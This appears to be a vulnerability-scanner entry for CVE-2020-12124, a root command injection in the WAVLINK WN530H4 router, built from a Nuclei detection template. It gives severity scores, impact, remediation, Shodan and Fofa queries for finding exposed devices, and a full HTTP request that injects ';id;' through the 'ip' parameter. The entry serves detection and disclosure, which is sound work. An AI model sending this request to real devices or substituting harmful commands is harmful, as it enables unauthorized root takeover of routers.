| Title | WAVLINK WN530H4 live_api.cgi - Command Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks. |
| Remediation | Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91801 |
| CVE ID | CVE-2020-12124 |
| CWE ID | CWE-78 |
| Shodan Query | http.html:"wavlink" |
| Fofa Query | body="wavlink" |
| Tags | cve cve2020 rce wavlink vkev vuln |
A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.
GET /cgi-bin/live_api.cgi?page=7BZ&id=8240&ip=;id; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12124.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12124.pcap
N/AN/A